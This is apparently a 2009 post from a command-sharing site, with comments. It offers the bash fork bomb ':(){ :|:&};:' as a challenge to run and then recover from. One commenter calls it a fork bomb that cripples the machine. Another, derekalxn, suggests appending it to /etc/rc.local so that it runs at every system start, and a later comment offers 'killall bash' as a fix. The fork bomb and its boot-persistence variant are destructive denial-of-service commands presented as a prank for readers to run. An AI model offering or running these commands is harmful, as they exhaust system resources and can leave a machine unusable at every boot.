at it like rabbits

:(){ :|:&};:
Now try to recover without rebooting, for an extra 10 points.

By: jaq
2009-02-18 22:37:21

What Others Think

Go fork yourself. This is what is called a fork bomb, and it will cripple your machine.
joem86 · 762 weeks and 6 days ago
Do it at system start echo ":(){:|:&};:" >> /etc/rc.local
derekalxn · 762 weeks and 6 days ago
This is 2nd time today I have seen the exact same fork bomb lifted straight from the wikipedia entry. Couldn't the admins write a function to prevent people from posting this type of crap?
tenmileiron · 762 weeks and 6 days ago
if the admins would just write a function that specifically prevented people from posting this, that would cut down on at least 5% of the redundant posts. that would be nice right?
Qjet · 762 weeks and 6 days ago
Easy. killall bash
tbodt · 498 weeks and 2 days ago

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